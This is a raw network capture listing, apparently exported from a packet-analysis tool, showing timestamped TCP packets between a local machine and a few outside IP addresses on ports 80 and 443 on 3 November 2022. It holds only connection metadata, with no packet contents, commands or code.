Nov 3, 2022 12:46:57.792891026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792907000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792928934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792937994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792953968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792970896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.792979002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.792989969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793006897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793014050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793025970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793042898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793052912 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793060064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793076992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793078899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793093920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793112040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793112993 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793129921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793153048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793164968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793181896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793195009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793199062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793215990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793232918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793236017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793250084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793267012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793270111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793284893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793302059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793303013 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793346882 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793359041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793376923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793394089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793411016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793411970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793427944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793442965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793446064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793458939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793486118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793498993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793510914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793576956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793631077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793648958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793667078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793692112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793719053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793735981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793751001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793754101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793782949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.793940067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793957949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793976068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.793992996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794008017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794009924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794027090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794027090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794044018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794059992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794070959 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794076920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794092894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794110060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794115067 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794127941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794143915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794142962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794161081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794164896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794190884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794208050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794212103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794224977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794243097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794251919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794260979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794281006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794306040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794323921 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794343948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794375896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794394016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794410944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794413090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794428110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794444084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794445038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794464111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794485092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794506073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794523001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794538975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794539928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794555902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794572115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794572115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794589996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794604063 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794605970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794641018 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794661999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794677973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794708014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794711113 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794724941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794742107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794765949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794862032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794891119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794908047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794912100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794924974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794940948 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794945955 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.794958115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794975042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.794986010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.795016050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.795017004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795034885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795051098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795070887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.795080900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795097113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795114040 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795116901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.795165062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.795166016 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795183897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795200109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.795231104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847209930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847243071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847260952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847279072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847299099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847316027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847323895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847337008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847353935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847371101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847387075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847397089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847404957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847414970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847423077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847441912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847459078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847464085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847479105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847491980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847498894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847515106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847521067 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847532988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847548962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847557068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847568035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847584963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847604036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847610950 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847621918 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847629070 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847640991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847659111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847665071 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847676992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847692966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847701073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847732067 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847762108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847779989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847798109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847814083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847819090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847831964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847848892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847853899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847867012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847884893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847896099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847903967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847928047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.847935915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847953081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847970009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.847979069 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848020077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848040104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848057032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848073006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848094940 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848579884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848613977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848629951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848647118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848651886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848664045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848674059 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848683119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848701000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848710060 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848718882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848735094 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848751068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848756075 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848768950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848787069 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848803043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848809958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848809958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848822117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848839045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848844051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848858118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848875046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848881006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848893881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848910093 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848917961 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848927975 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848944902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848949909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848963022 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848979950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.848989964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.848998070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849014997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849019051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849033117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849050045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849054098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849083900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849087000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849101067 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849117994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849152088 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849159956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849176884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849193096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849200010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849215031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849231005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849236965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849250078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849268913 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849286079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849289894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849303007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849308014 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849348068 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849391937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849410057 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849426985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849442959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849448919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849461079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849478006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.849483013 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849512100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.849991083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.850008965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.850027084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.850053072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.850094080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.850110054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:57.850132942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:57.857404947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:00.778275967 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:00.778327942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:00.835227966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:00.845273972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:01.017776012 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:01.274183035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:01.274250031 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:01.331093073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:01.341763020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:01.517839909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:12.299791098 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:12.299882889 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:12.299993992 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:13.768659115 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:13.768711090 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:13.842461109 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:13.842679024 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.146950006 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.147000074 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.147439003 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.147530079 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.150913954 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.150934935 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.194577932 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.194629908 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.194691896 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.194705009 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.194734097 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.194756031 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.194773912 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.194797039 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.194909096 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:15.195734978 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.217183113 CET	49707	443	192.168.2.6	149.154.167.99
Nov 3, 2022 12:47:15.217220068 CET	443	49707	149.154.167.99	192.168.2.6
Nov 3, 2022 12:47:16.258872032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:16.297319889 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:16.297420025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:16.299468994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:16.337647915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:16.438991070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:16.439080000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.411303997 CET	80	49703	91.195.240.101	192.168.2.6
Nov 3, 2022 12:47:18.411624908 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:47:18.425579071 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:47:18.447251081 CET	80	49703	91.195.240.101	192.168.2.6
Nov 3, 2022 12:47:18.578170061 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.616795063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.616856098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.616895914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.616946936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.616990089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.616996050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.616990089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.616990089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617033005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.617069006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.617074966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617074966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617106915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.617111921 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617156029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.617160082 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.617206097 CET	80	49708	95.217.246.41	192.168.2.6
